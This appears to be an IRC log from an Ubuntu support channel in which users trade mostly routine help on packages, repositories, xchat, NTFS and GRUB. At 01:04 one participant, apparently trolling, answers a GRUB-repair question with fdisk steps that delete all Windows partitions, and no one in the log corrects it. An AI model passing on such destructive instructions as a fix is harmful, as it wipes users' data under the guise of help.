[12:20] <Grifer> whole disk is unreadable in nautilus too but not in terminal
[12:20] <Adamantinus> I've got all my media on an NTFS partition.
[12:20] <rambo3> !bug 8639
[12:20] <ubotu> Sorry, I don't know anything about bug 8639 - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[12:20] <Adamantinus> Spliffster: Ah, yeah, I've uncommented those.
[12:20] <Adamantinus> Cheers.
[12:21] <Spliffster> Adamantinus, just $ sudo apt-get install ntfs-3g
[12:21] <Adamantinus> Figured so. No worries, thanks for that.
[12:21] <sbn> Is there an flv player for ubuntu?
[12:21] <Spliffster> Adamantinus, and change the entries in the /etc/fstab if there are any
[12:21] <axyjo> sbn, i think vlc works as an flv player
[12:21] <BrendanM> sbn, VLC plays flv
[12:21] <sbn> apt-get install vlc
[12:21] <sbn> ?
[12:21] <Grifer> any idea why linux gives i/o error when trying to copy from ntfs volume?
[12:21] <eVILPeeR> Anyone know how to run programs in the terminal ?
[12:21] <Grifer> it's hooked to firewire
[12:22] <axyjo> i think its listed as vlc-media-player
[12:22] <nkk> hello i just installed ubuntu can anyone link me to beryl auto install
[12:22] <Spliffster> darkstar_, i cannot help you with your webcam. have you tried to read the documentation on ekiga's website ?
[12:22] <Adamantinus> What would you guys recommend in terms of codecs for Ubuntu? I had a friend give me a link to a decent codec .tar, but he's not around :P
[12:22] <axyjo> let me look it up
[12:22] <reyn> eVILPeeR, ./binaryname
[12:22] <BrendanM> eVILPeer, type the command for the program
[12:22] <Adamantinus> axyjo, nah, apt-get vlc works fine.
[12:22] <Frogzoo> !beryl | nkk
[12:22] <ubotu> nkk: Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-effects
[12:22] <Grifer> Adamantius: just sudo apt-get vlc
[12:22] <darkstar_> Spliffster, no, i'll go look
[12:22] <rambo3> BrendanM, that dmesg looked ok .
[12:22] <Stormx2> Could someone tell me how I might restore my partition table? I tried to resize an ntfs partition on another machine and now it won't boot windows (can't load operating system). The partition type shows up as "unknown" under gparted. Any suggestions?
[12:22] <Dame> !dvd
[12:22] <ubotu> For playing DVD, see http://help.ubuntu.com/ubuntu/desktopguide/C/video.html - "libdvdcss2" can be found at http://wiki.ubuntu.com/SeveasPackages
[12:22] <Grifer> it plays about everything, codec included
[12:22] <Adamantinus> Grifer: You don't recommend any additional codecs?
[12:22] <BrendanM> rambo3, really, even with all those panic errors?
[12:22] <Adamantinus> Oh, okay.
[12:22] <axyjo> Adamantinus: thanks, i  am not in my ubuntu partition atm
[12:23] <Grifer> Adamantius: not really
[12:23] <Adamantinus> No worries. I installed vlc very recently.
[12:23] <nkk> yes but isnt there an installer script for edgy eft
[12:23] <Grifer> vlc is all man needs, if something bugs try mplayer
[12:23] <Spliffster> Adamantinus, just try $ apt-cache search codec ... there are many usefull codecs in the multiverse/universe repos .. including w32codecs (wmv) and the such
[12:23] <Adamantinus> Thanks for the tip.
[12:23] <rambo3> BrendanM, i think its just under probing , it doesn't say error
[12:23] <eVILPeeR> What's the command to download packages within the terminal?
[12:24] <Grifer> apt-get
[12:24] <Stormx2> eVILPeeR: sudo apt-get install <packagename>
[12:24] <axyjo> grifer or aptitude
[12:24] <Spliffster> eVILPeeR, apt-get install ... / aptitude install
[12:24] <Stormx2> eVILPeeR: Don't include the <>'s, and enter your user password when prompted
[12:24] <Adamantinus> I always use apt-get, personally.
[12:24] <Grifer> apt-get works for me
[12:24] <Grifer> aliased to get-over-here (I like mortal combat :D)
[12:25] <rambo3> BrendanM, but you can try and check what fstab says (see if its users) . and  you can try reformating it
[12:25] <Spliffster> eVILPeeR, `man apt-get` for more infos
[12:25] <axyjo> Adamantinus: i use apt-get too, but in rare cases, apt-get gets finiky on me and i have to use aptitude
[12:25] <Adamantinus> Oh, yeah, speaking of that, I can't seem to get thunderbird to download through apt-get. Keeps erroring. This happening for anyone else?
[12:25] <Stormx2> Could someone check my problem (posted above)... I really need the PC working again.
[12:25] <Adamantinus> Everything else is fine, it's just it can't find sources for thunderbird.
[12:25] <BrendanM> rambo3, That's probably what I'll so is just reformat
[12:26] <BrendanM> grr...
[12:26] <Stormx2> !thunderbird
[12:26] <ubotu> a FOSS email client, capable of close cooperation with Firefox, both by the Mozilla Foundation.  To make your thunderbird links open in firefox see http://ubuntuforums.org/showthread.php?t=60427
[12:26] <nkk> #ubuntu-effects
[12:26] <Stormx2> Hmm.
[12:26] <reyn> would Feisty already have kde in the repositories ?
[12:26] <Spliffster> Adamantinus, try `apt-get update`and if this doesn't hel try `apt-get check`
[12:26] <Adamantinus> apt-get update won't help, but I'm not familiar with apt-get check.
[12:26] <axyjo> Adamantinus: what repos do you have enabled?
[12:27] <Frogzoo> reyn: -> #ubuntu+1
[12:27] <Spliffster> Adamantinus, sorry .. .you need to use sudo .. so: sudo apt-get yada yada
[12:27] <Adamantinus> All of the ones already in the list.
[12:27] <reyn> Frogzoo, thanks
[12:27] <jose> hi guys, anyone knows if it possible to launch programs like firefox at a scheduled time with the "at" command? at works for me with normal commands. For example at now, shutdown -h now WORKS, but at now, firefox, DOES NOT WORK
[12:27] <Adamantinus> Yeah, got that too, Spliff. It still doesn't wanna get thunderbird.
[12:27] <Michom> hello
[12:28] <Frogzoo> jose: why would you need ff to run from at?
[12:28] <Stormx2> jose: cron job?
[12:28] <Spliffster> jose, firefox has the habit of trying to reuse an existing firefox window ... so if firefox is already open it won't (by default) open a new window
[12:28] <sacater> Michom: hi there
[12:28] <Grifer> uuuh... gotta love verbose copying of 20 gigas of files. makes nice matrix screensaver while working
[12:28] <McQueen> malek: i am back on primary user
[12:28] <Stormx2> Grifer: hahaha nice.
[12:28] <Spliffster> jose, you may work around this by experimenting with firefoxe's command line options or create a new profile (firefox profile) and use tthis in your at command line
[12:28] <malek> McQueen: okay good.  Now go to the System menu
[12:28] <jose> I need to launch X programs with at, firefox is just an example
[12:29] <jose> i need to launch for example a gdm
[12:29] <malek> McQueen: System/Administration/Synaptic
[12:29] <McQueen> malek, i run synaptic
[12:29] <Michom> i have installed ubuntu on my dell inspiron 9300 laptop, everything was working fine, till lately some went wrong with gnome. whenever i login, it takes a long time to finish loading things, then when i click on an application or any other program it takes like 2 or 3 minutes to load. I already updates all my packages and still suffering from the same problem. everything started when i got a sudden kernel panic after leaving grub, something to do with apic..
[12:29] <Spliffster> jose, try `firefox -h`to see all commandline switches of firefox
[12:29] <neo_> hi
[12:29] <Grifer> anyone here gonna get PS3?
[12:29] <Adamantinus> Grifer: Nah, too expensive.
[12:29] <Frogzoo> jose: you'll need to set DISPLAY in your script
[12:29] <malek> McQueen:  okay good.  Now go to the settings menu and click on repository
[12:29] <livetech> It much to expensive
[12:30] <Adamantinus> I'd prefer to spend the money on upgrading my PC.
[12:30] <lagge> Moin alle zusammen
[12:30] <daan> Hello, what is a good archiver for Xubuntu
[12:30] <Grifer> Adamantius: not in my opinion
[12:30] <dystopianray> ps3 is $999 in australia :S
[12:30] <McQueen> malek, ok then
[12:30] <Adamantinus> I can BARELY play Supreme Commander.
[12:30] <Adamantinus> Yeah, I'm an Aussie.
[12:30] <Smotang> Hey guys, I have an issue with my USB infrared 7 button mouse (2 buttons on side, and a scroll button in middle with the 2 normal buttons) I can get scroll to work by turning off emulate 3 button mouse but I still cant get the side buttons detected I have read and tried the tutorials and they did not seem to work very well. any one found a quick and elegant way around it without installing random stuff?
[12:30] <dystopianray> as am I
[12:30] <nkk> can any please link me to the beryl auto install script
[12:30] <Smotang> Same here
[12:30] <Spliffster> Michom, i do not know much about gnome, but your problem sounds like a profile problem. have you tried to create a new user, login with that user and experience the same problem ? if not .. .wipe your profile (backup first) ... remove all gnome files like : $ rm -R ~/.gnome*
[12:30] <eVILPeeR> How do I install my video card? I've got a laptop..
[12:30] <jose> Frogzoo, I try to put DISPLAY=:0.0 in my script and still does not work, not only with firefox
[12:30] <Adamantinus> dystopian: Which state? I'm in SA.
[12:30] <neo_> i am using proftd and i want that my users cannot access other maps but they can
[12:31] <neo_> how to change groups of access?
[12:31] <dystopianray> Adamantinus: I am also SA
[12:31] <malek> McQueen: okay, enable all the universe and multiverse repositories, and the source repositories as well.
[12:31] <Grifer> Adamantius: it makes the perfect HD multimedia center
[12:31] <Adamantinus> Ah cool.
[12:31] <thrax__> ost (Remote host closed socket).
[12:31] <thrax__> ost (Remote host closed socket).
[12:31] <Adamantinus> Grifer: Yeah, but to be honest, I find watching .avi's on my PC sufficient enough for my needs.
[12:31] <thrax__> ost (Remote host closed socket).
[12:31] <dystopianray> Adamantinus: I am from the northern suburbs
[12:31] <Adamantinus> Maybe sometime in the not so near future, sure.
[12:31] <thrax__> ost (Remote host closed socket).
[12:31] <thrax__> ost (Remote host closed socket).
[12:32] <thrax__> ost (Remote host closed socket).
[12:32] <neo_> thrax__ you're socket closed connection :P
[12:32] <Grifer> comparing it to "similar" multimedia PC's of same proces gives PS3 supreme edge hands down
[12:32] <Adamantinus> lol, same. Not far from Gawler.
[12:32] <thrax__> ost (Remote host closed socket).
[12:32] <thrax__> ost (Remote host closed socket).
[12:32] <neo_> contact you're network admin
[12:32] <Frogzoo> jose: export DISPLAY=:0.0
[12:32] <thrax__> ost (Remote host closed socket).
[12:32] <Grifer> apart from HD, but hey it's standard 2,5"
[12:32] <malek> McQueen: be warned that these include "unofficial" software, so if your computer is running in a mission critical environment it's not a good idea to use packages from there.  For most normal people it's okay thogh.
[12:32] <Grifer> harddisk
[12:32] <jose> thanks Frogzoo, i will try with export DISPLAY
[12:32] <Michom> Spliffster: i tried deleting all gnome files in my home account, same problems, i tried before useradd but i couldn't log into it in gnome...
[12:33] <McQueen> malek: i saw that download from: main server and united states
[12:33] <Grifer> I'm gonna buy it this fall
[12:33] <McQueen> malek: main server is checked
[12:33] <Spliffster> Michom, sorry, maybe some one else can help you. you miht also try to join #gnome
[12:33] <Michom> ok thank you :)
[12:34] <malek> McQueen: okay, I don't quite know what you're talking about - perhaps you're using a more recent version of ubuntu than i am.
[12:34] <jose> Thanks very much Frogzoo, It works now exporting the DISPLAY, that was driving me crazy
[12:35] <McQueen> malek: Ubuntu 6.10
[12:35] <McQueen>                 - the Edgy Eft
[12:35] <malek> ok, now do me a favour and open a terminal, and type: "cat /etc/apt/sources.list | grep multiverse" and give me the output.
[12:35] <malek> McQueen:  ok, now do me a favour and open a terminal, and type: "cat /etc/apt/sources.list | grep multiverse" and give me the output.
[12:35] <iain_> OK a bit foolish.  Trying to get graphics card and beryl working but now I have stuffed xserver and cannot get a graphical login.  Tried restarting it,reconfiguring it to vesa but no luck. Any other ideas?
[12:36] <malek> McQueen: okay, we're using different versions.  That shouldn't be a problem.
[12:36] <railk> how does ubuntu know which partitions to mount where on boot? /etc/fstab?
[12:36] <Spliffster> railk, yes
[12:36] <railk> thx
[12:36] <McQueen> malek, deb http://archive.ubuntu.com/ubuntu/ edgy main restricted multiverse
[12:36] <McQueen> deb http://archive.ubuntu.com/ubuntu/ edgy-updates main restricted multiverse
[12:36] <McQueen> # deb http://tr.archive.ubuntu.com/ubuntu/ edgy-backports main restricted universe multiverse
[12:36] <McQueen> # deb-src http://tr.archive.ubuntu.com/ubuntu/ edgy-backports main restricted universe multiverse
[12:36] <McQueen> deb http://security.ubuntu.com/ubuntu edgy-security main restricted multiverse
[12:37] <Spliffster> railk, and AFAIK udev is invloved for the usb/firewire devices
[12:37] <railk> Spliffster: just mighrating ~ to its own partition so wanted to be sure
[12:37] <sacater> railk: yes and no, those are HDD or other items that are loaded/checked
[12:37] <malek> McQueen: okay, looks like the multiverse repositories are enabled (i.e. the ones without the # at the start of the line)
[12:37] <railk> sacater: its just a HDD, nothing fancy
[12:38] <McQueen> malek: so?
[12:38] <malek> McQueen:  now try "sudo apt-get build-dep mplayer"
[12:39] <marcin> ;l
[12:39] <Spliffster> sacater, "...  those are HDD or other items" what do you mean by "other items" ?
[12:39] <McQueen> malek, Reading package lists... Done
[12:39] <McQueen> Building dependency tree
[12:39] <McQueen> Reading state information... Done
[12:39] <McQueen> E: Could not open file /var/lib/apt/lists/us.archive.ubuntu.com_ubuntu_dists_edgy_main_source_Sources - open (2 No such file or directory)
[12:39] <darkstar_> can anybody help me get my webcam working?
[12:39] <dystopianray> what does 'dsfg' mean?
[12:39] <hen_dra> halo apa kabar?
[12:39] <esperegu> how to make a mount appear under 'places' on the left in the filebrowser (when clicking 'Places - Home Folder' )
[12:39] <Spliffster> !pastebin
[12:39] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste - see also the #ubuntu channel topic)
[12:39] <Grifer> how can I start another window manager while running gnome? is it possible?
[12:39] <malek> McQueen: have you quite synaptic?
[12:40] <McQueen> yes
[12:40] <sacater> Spliffster: erm, floppy, external HDD etc
[12:40] <malek> McQueen: you should quit that first
[12:40] <Spliffster> sacater, so you mean block-devices by that ?
[12:40] <malek> McQueen: hmm... do "sudo apt-get update" and then do the same thing
[12:41] <sacater> Spliffster: i guess so
[12:41] <Spliffster> !help | Spliffster
[12:42] <dystopianray> !dsfg
[12:42] <ubotu> Sorry, I don't know anything about dsfg - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[12:42] <dystopianray> !dfsg
[12:42] <ubotu> Sorry, I don't know anything about dfsg - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[12:43] <sacater> !dpkg
[12:43] <variant> Grifer: you mean run the other window manager on top of gnome?
[12:43] <ubotu> dpkg is the Debian package maintenance system, which together with apt forms the basic Ubuntu package management toolkit.
[12:43] <McQueen> malek, its updating, it will take 6-7 munites
[12:43] <rpc> any spanish guys around? please let me know what "los suenos locos" means :)
[12:43] <variant> Grifer: rememebr that gnome is not a window manager, it's an environment that uses metacity as window manager
[12:43] <HugoCalleja> los sueos locos means the crazy dreams
[12:43] <malek> McQueen: slow internet?
[12:44] <rpc> HugoCalleja thank you! very nice!
[12:44] <McQueen> malek: yeah 256kb adsl :)
[12:44] <HugoCalleja> Its my first time using xchat
[12:44] <HugoCalleja> can someone tell me how to see the people that is on the channel?
[12:44] <GionnyBoss> how can you run a process with a higher priority? When I used KDE, there was a launcher where you can choose process priority... What can I do in GNOME, please?
[12:44] <rpc> HugoCalleja just listening to a wonderful spanish rock band going by that name
[12:45] <Grifer> command to format volume safely to ext2?
[12:45] <HugoCalleja> rpc are you sure they are spanish? los sueos locos?
[12:45] <sks> hi at all
[12:45] <HugoCalleja> they may be form south america
[12:45] <rpc> HugoCalleja... hmm... oh mh...
[12:46] <Spliffster> !tell Grifer about parted
[12:46] <sks> someone use amulegui with ubuntu 7.04?
[12:46] <McQueen> malek, update is ok. and the error: E: Unable to find a source package for mplayer
[12:46] <rpc> HugoCalleja never thought of that to be honest
[12:46] <rambo3> Grifer, mkfs.ext2
[12:46] <Grifer> thx
[12:46] <HugoCalleja> rpc Its my first time using xchat and I cant see the list of the users on the channel
[12:47] <HugoCalleja> do you know how
[12:47] <HugoCalleja> ?
[12:47] <Michom> btw, one more question, when i updated everything with synapse, why do i have two booting options for two different kernel on GRUB? shouldn't the kernel be updated and not two different version installed?
[12:47] <grayman> HugoCalleja, xchat or xchat-gnome?
[12:47] <rambo3> HugoCalleja, you have xchat-gnome
[12:47] <malek> McQueen: okay, do "cat /etc/apt/sources.list and paste the output into http://paste.ubuntu-nl.org/.  Then send me the url
[12:47] <sks> someone use amulegui with ubuntu 7.04? I can't change the username... the field is freezed
[12:47] <rpc> HugoCalleja not really sure... i prefer mirc in wine
[12:47] <grayman> try using xchat instead
[12:47] <HugoCalleja> the default that comes with ubuntu edgy
[12:47] <GionnyBoss> HugoCalleja: there is, it's just hidden ... move your mouse to the left of the screen and you will see an arrow ... push the left mouse button and move out the list of users :)
[12:48] <larson9999> what's a good rss client that will automatically download attachments?
[12:48] <grayman> GionnyBoss, if it's xchat-gnome then it won't work like that
[12:49] <grayman> really weird frontend really
[12:49] <HugoCalleja> I guess its xchat-gnome cause its not working
[12:49] <GionnyBoss> HugoCalleja: install xchat
[12:49] <fasm_erx_CC2_> I'm getting a wierd error. What does this mean Could not grab keyboard. A malicious client may be eavesdropping on your session.
[12:49] <fasm_erx_CC2_> is someone trying to hack me something?
[12:49] <sks> #ubuntu-it
[12:49] <rpc> HugoCalleja i messed up - they go by name Fito y Fitipaldis
[12:49] <McQueen> malek: Syntax?
[12:49] <HugoCalleja> where can I see if I am using xchat or xchat-gnome
[12:50] <malek> McQueen: don't worry about that bit
[12:50] <HugoCalleja> fito is very good rpc
[12:50] <Spliffster> Michom, old kernels stay in the grub list. if everything went wrong with the new kernel you can still boot using the older kernel. once you know the new kernel works, you might delete it from /boot/grub/menu.lst
[12:50] <fasm_erx_CC2_> Hugo: about?
[12:50] <rpc> HugoCalleja so you know them he he ok
[12:50] <HugoCalleja> yes
[12:50] <rpc> HugoCalleja spanish?
[12:50] <HugoCalleja> Fito use to be the singer of a band called Platero y tu
[12:50] <Smotang> fasm_erx_CC2: what program are you running when you get the error?
[12:50] <grayman> HugoCalleja, in the menu should be written something like Xchat - gnome irc client
[12:50] <HugoCalleja> I use to listen them a lot
[12:50] <Spliffster> Michom, or even better uninstall the kernel with apt-get or synaptics
[12:50] <rpc> HugoCalleja cool cool
[12:50] <Michom> Spliffster: thank you, the previous problem seems to be a networking problem that has to do with hostnames and domains, still working on solving it...
[12:50] <McQueen> malek, http://paste.ubuntu-nl.org/11835/
[12:51] <HugoCalleja> grayman  no its only written xchat
[12:51] <HugoCalleja> without the gnome
[12:51] <Spliffster> grayman, HugoCalleja: XChat is not installed by default -- must be installed manually.
[12:51] <HugoCalleja> spliffster I just went to aplications- Install programs
[12:52] <HugoCalleja> and sellected X-chat from the list
[12:52] <luiskis> so, ubuntu doesn't ask root password when installing, why is that?
[12:52] <Spliffster> I still have this problem. i want that my  ubuntu desktop doesn't prompt a password after resuming from ram/disk. where can I configure this ?
[12:52] <apokryphos> luiskis: please take a look at the FAQ <https://help.ubuntu.com/community/CommonQuestions> as linked to in the channel /topic.
[12:53] <mte_> hi..I installed the Herd 5 several days ago. If I upgrade evertything (adept upgrade) is it now the same as the new Beta?
[12:53] <Spliffster> HugoCalleja, ok i missed some conversation then ... nm :)
[12:53] <grayman> HugoCalleja, in the original xchat the user list is just closed at the right corner
[12:53] <grayman> you need to open it
[12:53] <grayman> like a frame
[12:53] <grayman> by dragging it
[12:53] <HugoCalleja> ok
[12:53] <HugoCalleja> got it
[12:53] <HugoCalleja> sorry
[12:53] <HugoCalleja> I just got up
[12:53] <GionnyBoss> HugoCalleja: I don't know how to explain it... Usually xchat, when you start it first time, it's weird. Go on the right of xchat window and you will see an arrow. Keep the left mouse button pressed and move the arrow to the left. You will magically see the users list :)
[12:53] <HugoCalleja> :)
[12:53] <HugoCalleja> got it
[12:53] <malek> McQueen: okay, open a text editor as root (sudo) and uncomment lines 16, 17, 31 and 32.  This means removing the # character
[12:53] <GionnyBoss> HugoCalleja: it's what I tryed to explain you before, too ... but I'm italian and my english is not good :P
[12:54] <larson9999> luiskis: the first account you setup has rights to sudo when you want to do admin type stuff.  a bit different than su but after i bit i preferred this way
[12:54] <rpc> GionnyBoss the land of sphagetti :)
[12:54] <HugoCalleja> gionnyboss you told me on the left!!!! not on the right!!! thats why I didnt find it!
[12:54] <HugoCalleja> XD
[12:54] <rpc> GionnyBoss and mafia :)
[12:54] <barry_> Hi, could someone help me please? I'm trying to get Edgy to mount my dvd drive but what i get is this message:mount: block device /dev/hdd is write-protected, mounting read-only
[12:54] <barry_> mount: /dev/hdd already mounted or /media/cdrom1 busy
[12:54] <barry_> mount: according to mtab, /dev/hdd is already mounted on /media/cdrom1 thanks in advance
[12:54] <McQueen> malek, how can i open a text editor as root
[12:54] <GionnyBoss> rpc: ahahaha
[12:54] <grayman> HugoCalleja, uh, his left your right ;)
[12:55] <BrendanM> ok, so when I do mkfs.msdos, that makes a FAT32 file system. Is there any way to do FAT16 instead?
[12:55] <HugoCalleja> rpc you should listen to "platero y tu" they are very very good
[12:55] <HugoCalleja> rpc where are you from?
[12:55] <rpc> HugoCalleja thanks alot, will try to find some albums of them
[12:55] <rpc> HugoCalleja germany
[12:55] <malek> McQueen: do "sudo gedit /etc/apt/sources.list"
[12:55] <Hirs> How can I connect to a nfs share in ubuntu feisty?
[12:55] <HugoCalleja> and how the hell did you find out about fito?
[12:55] <rpc> HugoCalleja i would happily move to spain though :)
[12:55] <HugoCalleja> jajajaja
[12:55] <esperegu> how to make a mount appear under 'places' on the left in the filebrowser (when clicking 'Places - Home Folder' )
[12:55] <esperegu> ?
[12:55] <HugoCalleja> well the summer is coming soon
[12:56] <HugoCalleja> should be nice
[12:56] <rpc> HugoCalleja it was an accidental thing.. was digging some stuff up and came by a single song... grabbed full album.. love it
[12:56] <HugoCalleja> fito's got talent
[12:56] <Frogzoo> BrendanM: mkfs.vfat -F 16
[12:56] <deadchip> does anyone remember the kernel module to emulate audio cd's?
[12:56] <rpc> HugoCalleja wonderful rock with spanish accents, really nice
[12:56] <HugoCalleja> he just makes good songs
[12:56] <Spliffster> McQueen, easy way is: System > Administration > Software Sources. then check all sources on the first tab
[12:56] <grayman> what's a good program for editing mp3s?
[12:56] <GionnyBoss> BrendanM: mkfs.vfat -F 16
[12:56] <rpc> good voice too
[12:56] <BrendanM> thanks
[12:56] <HugoCalleja> yes
[12:56] <grayman> i want to cut out one part
[12:56] <soho> i have a program which uses oss-sound, but the volume is very high, how can i reduce the volume of the oss-sound?
[12:56] <deadchip> grayman: rezound
[12:57] <Belboz91> hey, I need help accessing my webserver
[12:57] <HugoCalleja> ok
[12:57] <grayman> aha
[12:57] <Frogzoo> deadchip: cdemu ??
[12:57] <grayman> thanks
[12:57] <deadchip> Frogzoo: ah
[12:57] <HugoCalleja> anyone has experience with bluetooth in edgy?
[12:57] <Grifer> sudo chmod -r 666 <folder> doesn't work
[12:57] <Arko> hi
[12:57] <deadchip> ah yeah
[12:57] <Spliffster> Belboz91, try using a browser ... just kidding
[12:57] <deadchip> Frogzoo: thanks!!
[12:57] <soho> HugoCalleja; a bit for me it works
[12:57] <Grifer> gives cannot access '666'
[12:57] <Dabian> (Ehehehe) :D
[12:57] <Belboz91> I'm trying to access it via ssh, but it's not responding
[12:57] <Grifer> wtf lol?
[12:57] <Belboz91> I can ping it, and the webpage is loaded
[12:57] <Dabian> Grifer : Yeh .. something like that. :D
[12:57] <Arko> on glinfo i got this error: Xlib:  extension "GLX" missing on display ":0.0".
[12:57] <HugoCalleja> soho I am trying to install the alsa drivers for using my bluetooth headset but got a problem
[12:57] <Arko> glxinfo i mean
[12:58] <Dabian> Grifer : But no need to use the f-word, you rude person!
[12:58] <GionnyBoss> Grifer: try 'sudo chmod --recursive 666 .... '
[12:58] <Spliffster> Belboz91, firewalled ? ssh not running ?
[12:58] <Arko> any solution?
[12:58] <Belboz91> I think I may have changed the port number, because there were two ssh machines
[12:58] <HugoCalleja> I dont have the bluetooth.h file into the bluetooth directory so I cant install
[12:58] <Belboz91> Spliffster: ssh was running fine from a local box
[12:58] <HugoCalleja> I got the bluez and gnome-bluetooth installed
[12:58] <Spliffster> Belboz91, try to find open ports with nmap ... won't help if it is firewalld tho
[12:58] <Grifer> thanks GionnyBoss, that did it. wonder what happened to -r
[12:58] <GionnyBoss> Grifer: don't know why with -r doesn't work ... it does with --recursive (or maybe -R but I'm not sure)
[12:58] <McQueen> malek, ok all things are checked and i remove # from that lines
[12:58] <Belboz91> and ssh was running fine from the other pc
[12:59] <soho> HugoCalleja; sry, i only have experience with bluetooth-mouse and sending files pc<->phone
[12:59] <Dabian> Grifer : Why is it most fins are rude?  Lack of standards in the north?
[12:59] <malek> McQueen: okay, save the file, now do sudo apt-get update again (sorry -another 7 minutes!)
[12:59] <soho> HugoCalleja; about the file, try to install the devel-packages
[12:59] <rpc> Dabian rude fins? you kidding?
[12:59] <slashjamiec> hey, I'm using ubuntu. And i have an ISO file. I want to know how to burn the iso file to a disc. Is there any burning apps that can do this?
[12:59] <Grifer> dolphins have fins and they are nice
[12:59] <Dabian> rpc: You are, right?
[12:59] <GionnyBoss> Grifer: I just did 'man chmod' ... it's -R (uppercase) or --recursive :)
[12:59] <Frogzoo> discussion of finnish manners -> #ubuntu-offtopic
[12:59] <Arko> slashjamiec: k3b
[01:00] <slashjamiec> arko: thanks
[01:00] <train> does anyone know the link tot he script that automaicall installs beryl with nvidia
[01:00] <rpc> Dabian the only rude person so far is you
[01:00] <Spliffster> slashjamiec, rightclick the iso file in nautilus, then select burn to cd :)
[01:00] <McQueen> malek, haha no prob. thank for your time
[01:00] <Dabian> Grifer : Your knowledge on carnivores surprise me.
[01:00] <malek> McQueen:  no worries ;-)
[01:00] <HugoCalleja> soho Ill check that
[01:00] <slashjamiec> Spliffster: i use fluxbox, and dont have nautilus
[01:00] <Dabian> rpc: I am not rude, I am just provacative.  Grifer is rude using the f-word.
[01:00] <Grifer> Dabian: dolphins r cute <3
[01:00] <Frogzoo> discussion of finnish manners -> #ubuntu-offtopic
[01:01] <Dabian> Frogzoo : I'll be there!
[01:01] <soho> HugoCalleja; maybe the solution:
[01:01] <Spliffster> slashjamiec, aye ... apt-cache search burn
[01:01] <Grifer> bye Dabian ;)
[01:01] <soho> HugoCalleja; go to http://packages.ubuntu.com/ and let it search for bluetooth.h
[01:01] <slashjamiec> Spliffster: Thanks.. I'll try k3b.
[01:01] <Spliffster> slashjamiec, yw
[01:01] <Dabian> Grifer : I happen to use a client capable of joining more than one channel simoustaniously.
[01:01] <tmp> what parameters should be used in /etc/fstab to mount an ext3 partition? "defaults,errors=remount-ro 0 1" ok?
[01:01] <HugoCalleja> soho that last options sounds better
[01:02] <MadHenry> Hey guys, I have a problem, I installed Windows Vista after installing Ubuntu 6.10 (both on different partitions) and I have already tried some things from the RecoveringUbuntuAfterInstallingWindows.. but I haven't still been able to reinstall GRUB
[01:02] <Michom> one more question,i have a usb cable modem that is identified under Windows with "Broadband cable modem remote NDIS...", any ideas how to make it work under ubuntu? someone in the forums refered to a software called eciADSL...any ideas?
[01:02] <tbuss> new to ubuntu can anyone help with screen display problem, vertical lines appear when using 1280x1024
[01:02] <dystopianray> MadHenry: sudo grub-install /dev/blah
[01:02] <dystopianray> Michom: it has no ethernet port?
[01:02] <MadHenry> dystopianray: can I launch ubuntu from live-cd and then use that line?
[01:03] <Belboz91> tbuss, sounds like a refresh rate problem
[01:03] <soho> hello, how to control the volume of the oss-mixer?
[01:03] <Spliffster> MadHenry, you need a bootable linux (cd/disk) which is able to boot your local drive, then run grub-install. that should do the trick
[01:03] <Belboz91> tbuss, or possibly an unsupported restolution
[01:03] <Spliffster> MadHenry, s/Hard Drive/Partition/
[01:03] <Frogzoo> tmp just "defaults 0 2" is usually fine
[01:03] <HugoCalleja> soho you might be right it has something to do with devel
[01:03] <dystopianray> MadHenry: yes, boot the livecd, chroot into your install and then run it
[01:03] <yettenet> How can I browse windows networks?
[01:03] <Michom> dystopianray: yes but my cable provider told me not to use that port or he will block my modem automaticly(dunno why)
[01:03] <tbuss> Belboz91: is it safe to experiment with refresh rates without damage to lcd?
[01:03] <dystopianray> yettenet: you should have some sort of 'remote places' or similar, in 'system' or 'places' or wahtever gnome has, and it'll show your windows workgroup
[01:04] <Frogzoo> yettenet: install smb4k is nice
[01:04] <Dabian> MadHenry : Boot the Ubuntu CD.  Get a root-shell (sudu su -), then type fdisk, in the menu, type p<enter>.  Note which partitions are marked as either "fat*" or "ntfs*" .. type d<enter>, type in the numer of partition<enter>.  Repeat till you got them all, then type w.
[01:04] <McQueen> malek: update finished, but W: Duplicate sources.list entry http://security.ubuntu.com edgy-security/universe Packages (/var/lib/apt/lists/security.ubuntu.com_ubuntu_dists_edgy-security_universe_binary-i386_Packages)
[01:04] <McQueen> W: You may want to run apt-get update to correct these problems
[01:04] <Adamantinus> Does anyone know what file needed to be edited to remove the nvidia splash from the drivers on startup? I did it once before, was easy, just don't remember how.
[01:04] <dystopianray> Michom: that's the dumbest thing I ever heard
[01:04] <Belboz91> tbuss, first I would check to see what your native resolution is on that LCD
[01:04] <MadHenry> dystopianray: but how can i know where's my install?
[01:04] <dystopianray> Michom: what is the model of the modem?
[01:04] <Dabian> dystopianray : YOu didn't hear that MadHenry installed MS windows vista?
[01:04] <dystopianray> MadHenry: you should know which partition your / is on
[01:04] <Michom> dystopianray: me too. Kathrein DCM52i
[01:04] <Belboz91> tbuss: LCD's only have one true resolution, everything else is interpolated
[01:04] <variant> McQueen: do as it says
[01:04] <dystopianray> Dabian: yes I saw that
[01:04] <larson9999> bashpodder.  thanks!
[01:05] <dystopianray> Dabian: vista is destroying linux partitions now?
[01:05] <tbuss> Belboz91: I manually changed the xorg.conf to support the higher resolution.
[01:05] <Belboz91> tbuss, 60hz should be safe though, don't use anything below
[01:05] <Dabian> dystopianray :Was that what your comment "<dystopianray> Michom: that's the dumbest thing I ever heard" was aimed at?
[01:05] <MadHenry> dystopianray: if i'd say it's on hda3 then is that possible?
[01:05] <MadHenry> :D
[01:05] <orp> When I tried accessing my windows box (network), It ask me to authenticate, when I type in the correct username and password of the windows box, it refuses, what gives?
[01:05] <dystopianray> Dabian: no, it was aimed at Michom, his calbe provider telling him they'll ban his modem if he uses cat5
[01:05] <malek> McQueen:  I'll look at that but in the meantime run sudo apt-get build-dep sources mplayer
[01:05] <yettenet> Frogzoo: I don't want to install smb4k since it's KDE dependant....
[01:05] <Dabian> MadHenry : FIrst wipe your Microsoft partions .. then the remaining has to be GNU/Linux, no?
[01:05] <Belboz91> tbuss, that might not be a good idea if your monitor doesn't support that higher resolution
[01:06] <McQueen> malek: its done. but it cloudnt find mplayer package again
[01:06] <yettenet> dystopianray: There is something like that, but I can't see other people's shares
